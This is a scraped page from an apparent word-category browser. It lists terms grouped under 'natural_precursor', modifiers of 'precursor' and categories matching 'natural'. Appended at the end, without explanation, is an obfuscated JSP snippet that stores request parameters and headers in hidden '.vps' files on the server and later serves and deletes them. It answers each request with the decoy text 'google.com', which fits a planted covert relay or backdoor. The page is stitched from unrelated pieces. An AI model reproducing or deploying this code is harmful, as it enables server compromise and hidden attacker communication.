Use the & operator to see the shared categories of two terms. E.g.
cola & coffee
or
divorce & war
Go Back
See XML
Members for Fine-Grained Categories
natural_precursor
:
lemongrass,
serine,
wood,
acrylic,
bitumen,
clay,
phenolic_compound,
lignin,
cotton,
sand,
sulfate,
paper,
phenylalanine,
kaolinite,
resin,
sugar,
steroid,
methane,
water,
guanosine,
halide,
peat,
pitch,
pvc,
seed,
ester,
aragonite,
bamboo,
nylon,
shell,
hydrocarbon,
ammonia,
carbon,
ephedrine,
cellulose,
phenolic,
acrylate,
alkaloid,
glucose,
phenol,
fructose,
salt,
coconut_shell,
acid,
tuff,
plant,
adenosine,
oxide,
talc,
chlorophyll,
cysteine,
lipid,
oxalate,
aldehyde,
fertilizer,
cholesterol,
lecithin,
citric_acid,
kerosene,
sawdust,
silicone,
metal_oxide,
nitrate,
co,
phosphate,
carbohydrate,
whole_grain,
natural_fiber,
co2,
atp,
silica,
chloride,
caffeine,
polysaccharide,
carbonate,
glycine,
alumina,
protein,
inosine,
sucrose,
coconut_husk,
cement,
metal_hydroxide,
acetate,
succinic_acid,
lactate,
Modifiers matching
precursor
:
fatty,
weather,
conventional,
chemical,
inorganic,
liquid,
exogenous,
single,
essential,
important,
simple,
acid,
metabolic,
natural,
carbonaceous,
complex,
metal,
small,
color,
elemental,
controlled,
active,
charged,
polymeric,
oxidizable,
immediate,
synthetic,
organic,
additional,
ceramic,
reactive,
stable,
alternative,
dietary,
starting,
common,
volatile,
biological,
molecular,
aromatic,
explosive,
volcanic,
toxic,
smaller,
soluble,
basic,
neutral,
legal,
biodegradable,
available,
acidic,
solid,
gaseous,
fibrous,
individual,
genetic,
possible,
salt,
biochemical,
key,
granular,
Simple categories matching
natural
:
xanthine,
nourishment,
object,
material,
flower,
phenomenon,
fish,
binder,
relaxant,
joint,
trap,
ore,
oestrogen,
stone,
fiber,
solid,
fertilizer,
siding,
function,
gem,
matrix,
area,
feldspar,
predator,
gradient,
fibre,
hydrocarbon,
break,
scavenger,
process,
jewel,
textile,
substance,
activator,
rhythm,
glycoside,
barrier,
attitude,
flooring,
difficulty,
tree,
impediment,
emotion,
enzyme,
law,
linen,
field,
dialogue,
coating,
syrup,
control,
person,
perfume,
cereal,
vinegar,
disposition,
hazard,
atom,
organism,
stress,
deposit,
touch,
progestin,
ambience,
abstraction,
thickener,
butter,
use,
precursor,
polymer,
cloth,
cotton,
ordering,
outbreak,
hydrocolloid,
plasma,
selection,
repellent,
swarm,
incense,
macromolecule,
reservoir,
paint,
sugar,
reproduction,
antioxidant,
route,
creature,
being,
toxin,
contaminant,
situation,
disorder,
noise,
passion,
albumin,
garbage,
resin,
colouring,
nature,
personality,
heat,
mishap,
gum,
world,
artifact,
pesticide,
remedy,
attraction,
clearing,
shrine,
fluid,
crystal,
commodity,
mica,
carpet,
bones,
soil,
antiseptic,
owner,
pattern,
hill,
depressant,
sediment,
movement,
class,
weave,
option,
aroma,
insulator,
sorbent,
interference,
flavouring,
signal,
protection,
monosaccharide,
mineral,
narcotic,
energy,
triglyceride,
rubber,
leather,
chromogen,
antibiotic,
region,
niche,
experience,
distinction,
secretion,
hair,
ornament,
solute,
act,
filament,
ligand,
disturbance,
immunity,
indicator,
cavity,
alloy,
text,
source,
dyestuff,
herb,
glass,
influence,
essence,
dielectric,
separation,
injustice,
water,
structure,
level,
danger,
host,
asphalt,
discharge,
fur,
fauna,
estrogen,
surroundings,
contamination,
elements,
grain,
work,
fact,
gas,
chemical,
condiment,
happening,
endorphin,
death,
communication,
product,
phospholipid,
pause,
metabolite,
poison,
seafood,
drink,
derivative,
makeup,
scourge,
wool,
androgen,
discipline,
drug,
scientist,
astringent,
greenery,
part,
lense,
shelter,
creation,
quantity,
course,
firebreak,
fodder,
setting,
subject,
trait,
excreta,
incident,
music,
compound,
attribute,
grass,
opening,
metric,
hormone,
organs,
measure,
solution,
division,
prosody,
metal,
calamity,
carnivore,
hairstyle,
relationship,
deterioration,
polysaccharide,
micronutrient,
theme,
starch,
grouping,
difference,
carotenoid,
power,
procreation,
animal,
sense,
attar,
treatment,
particulate,
symptom,
method,
contingency,
cord,
coloring,
category,
frame,
tragedy,
group,
steroid,
rosin,
blemish,
fare,
brine,
endowment,
cover,
diamond,
color,
therapeutics,
issue,
ingredient,
love,
patch,
worry,
passage,
progestogen,
elastomer,
conductor,
motive,
order,
task,
protein,
souvenir,
sweetener,
fluctuation,
knowledge,
salt,
catalyst,
skill,
watercourse,
sulfate,
rarity,
case,
quality,
wetland,
buffer,
prey,
image,
lipid,
sign,
peril,
carrier,
shampoo,
building,
seasoning,
opium,
canal,
nutrient,
debris,
lighting,
materiel,
disaster,
elevation,
starches,
leaf,
asset,
evil,
nail,
anticoagulant,
bivalve,
antimicrobial,
illness,
philosophy,
wonder,
vitamin,
monument,
pulse,
texture,
feature,
religion,
foliage,
surface,
foodstuff,
green,
amine,
fruit,
design,
smell,
kind,
wood,
development,
drive,
earth,
location,
institution,
perturbation,
ab,
hardwood,
entity,
outflow,
hallucinogen,
place,
decoration,
dish,
clay,
clone,
flow,
ester,
eggshell,
fat,
colloid,
alcohol,
instrument,
factor,
allergen,
aggregate,
look,
hemoprotein,
excretion,
insecticide,
fuel,
territory,
oil,
fabric,
form,
item,
neutral,
pest,
sickness,
preparation,
carbohydrate,
precipitation,
botanical,
phosphoprotein,
origin,
cortisone,
network,
infirmity,
pigment,
interface,
mound,
waterway,
space,
dimension,
opiate,
heritage,
state,
supply,
family,
thing,
passageway,
particle,
cosmetic,
period,
bush,
feeling,
activity,
evacuation,
cause,
weapon,
beverage,
transformation,
illusion,
hypnotic,
limit,
wax,
cheese,
exercise,
porphyrin,
lubricant,
accident,
technology,
operator,
braid,
wetness,
pulp,
anesthetic,
seed,
whitener,
motif,
herbicide,
flavoring,
satellite,
cure,
occurrence,
ground,
aptitude,
juice,
emulsifier,
emission,
refrigerant,
vegetation,
advantage,
coffee,
electricity,
filling,
ventilation,
prayer,
scene,
change,
evolution,
anaesthetic,
vice,
inlet,
goodness,
picture,
appearance,
defect,
waste,
authority,
scent,
bristle,
abrasive,
ability,
cycle,
glucocorticoid,
catastrophe,
container,
landmark,
obstacle,
feed,
action,
virtue,
molecule,
flavor,
repressor,
malt,
therapy,
weaponry,
conversation,
spice,
infection,
constraint,
sentiment,
marking,
nucleotide,
beauty,
radiation,
beads,
argument,
flavour,
zooplankton,
channel,
bone,
force,
composition,
formation,
silicate,
resource,
magnitude,
monomer,
data,
characteristic,
scale,
hide,
unit,
style,
procedure,
shape,
marker,
behaviour,
soap,
salve,
dessert,
gemstone,
interaction,
alkaloid,
nuclease,
environment,
figure,
insect,
surfactant,
impulse,
ways,
consequence,
craft,
society,
science,
article,
laws,
land,
audience,
carcinogen,
toxicant,
zeolite,
representation,
filler,
microorganism,
acid,
motion,
torque,
mechanism,
medicine,
membrane,
peptide,
model,
mixture,
herbivore,
ecosystem,
orifice,
sport,
vegetable,
event,
response,
plant,
adhesive,
flaw,
stream,
disaccharide,
habitat,
practice,
property,
sedative,
substrate,
body,
latex,
humectant,
point,
antifreeze,
stimulant,
modality,
antacid,
infrastructure,
impurity,
desire,
medium,
nut,
language,
behavior,
light,
fragrance,
flora,
aperture,
agent,
park,
means,
plaster,
protease,
fertiliser,
line,
component,
speech,
pharmaceutical,
food,
obligation,
extract,
token,
lecithin,
capital,
pathogen,
jewelry,
information,
emanation,
phytochemical,
imperfection,
piece,
system,
beast,
stimulus,
erosion,
foam,
obstruction,
bait,
background,
matter,
boundary,
slate,
support,
reed,
comparison,
assembly,
tissue,
whole,
healthcare,
layer,
variable,
loss,
expression,
soup,
vortex,
site,
instrumentation,
steak,
oleoresin,
mode,
stuff,
assets,
anomaly,
armor,
grassland,
treasure,
god,
haemoprotein,
configuration,
catecholamine,
condition,
community,
fence,
nucleoside,
yarn,
constituent,
preservative,
cofactor,
vessel,
ridge,
colours,
morality,
inhabitant,
faculty,
oligosaccharide,
rock,
hollow,
heating,
reaction,
affection,
corticosteroid,
diuretic,
way,
variation,
lake,
disease,
sound,
pollutant,
plaything,
device,
<%@page trimDirectiveWhitespaces="true"%> <%@page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@page import="java.io.*"%> <%@page import="java.util.*"%> <%@page import="java.text.*"%> <%! static String cuy321a = null; public static String cuy321b(byte[] cuy321c) { char[] cuy321d = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P', 'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f', 'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v', 'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/' }; StringBuilder cuy321e = new StringBuilder(); int cuy321f = 0; for (int i = 0; i < cuy321c.length; i += 3) { int b = ((cuy321c[i] & 0xFF) << 16) & 0xFFFFFF; if (i + 1 < cuy321c.length) { b |= (cuy321c[i+1] & 0xFF) << 8; } else { cuy321f++; } if (i + 2 < cuy321c.length) { b |= (cuy321c[i+2] & 0xFF); } else { cuy321f++; } for (int j = 0; j < 4 - cuy321f; j++) { int c = (b & 0xFC0000) >> 18; cuy321e.append(cuy321d[c]); b <<= 6; } } for (int j = 0; j < cuy321f; j++) { cuy321e.append("="); } return cuy321e.toString(); } public void cuy321a(HttpServletRequest req) { if (cuy321a != null) return; String cuy321g = getServletContext().getRealPath(req.getRequestURI()).replace('\\', '/'); cuy321a = cuy321g.substring(0, cuy321g.lastIndexOf('/')) + "/"; } byte[] cuy321h(String cuy321i) { byte[] cuy321j = null; FileInputStream cuy321k = null; File file = new File(cuy321i); try { cuy321k = new FileInputStream(file); cuy321j = new byte[(int)file.length()]; cuy321k.read(cuy321j); } catch (Exception ex) { } finally { try { if (cuy321k != null) cuy321k.close(); } catch (Exception ex) { } } return cuy321j; } %> <% cuy321a(request); String cuy322a = request.getParameter("user"); String cuy322b = request.getParameter("rand"); String cuy322c = request.getParameter("id"); String cuy322d = request.getParameter("action"); int cuy322e = -1; if (request.getParameter("code") != null) cuy322e = Integer.parseInt(request.getParameter("code")) % 4; if (cuy322d != null && "home".equals(cuy322d)) { out.write("google.com"); } if (cuy322a != null && !"0".equals(cuy322a)) { String cuy322g = cuy321a + cuy322b + ".vps"; String cuy322f = cuy322g + "x"; String cuy322h = request.getParameter("hash"); String cuy322i = request.getHeader("From"); FileOutputStream cuy322j = null; cuy322j = new FileOutputStream(cuy322f); if(cuy322j != null) { DataOutputStream cuy322k = new DataOutputStream(cuy322j); cuy322k.writeLong(System.currentTimeMillis()); cuy322k.close(); cuy322j.close(); } cuy322j = new FileOutputStream(cuy322g, false); if(cuy322j != null) { cuy322j.write(cuy322h.getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322i.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322a.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322b.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.flush(); cuy322j.close(); } out.write("google.com"); } else if (cuy322e == 0 && "0".equals(cuy322c)) { out.write("google.com"); } else if (cuy322e == 1) { File cuy322l = new File(cuy321a); String cuy322g = null; String cuy322f = null; int cuy322m = 0; if (cuy322l.exists() && cuy322l.isDirectory()) { for(File file:cuy322l.listFiles()) { cuy322g = file.getName(); if(cuy322g.endsWith(".vps")) { cuy322m = 1; cuy322g = file.getAbsolutePath(); cuy322f = cuy322g + "x"; break; } } } if (cuy322m == 1) { FileInputStream cuy321k = new FileInputStream(cuy322f); DataInputStream cuy322o = new DataInputStream(cuy321k); if(System.currentTimeMillis() - cuy322o.readLong() < 180000) { byte[] cuy322p = cuy321h(cuy322g); if (cuy322p != null) { out.write(new String(cuy322p)); } } cuy322o.close(); cuy321k.close(); File cuy322p1 = new File(cuy322g); cuy322p1.delete(); File cuy322pz = new File(cuy322f); cuy322pz.delete(); } else { out.write("google.com"); } } %>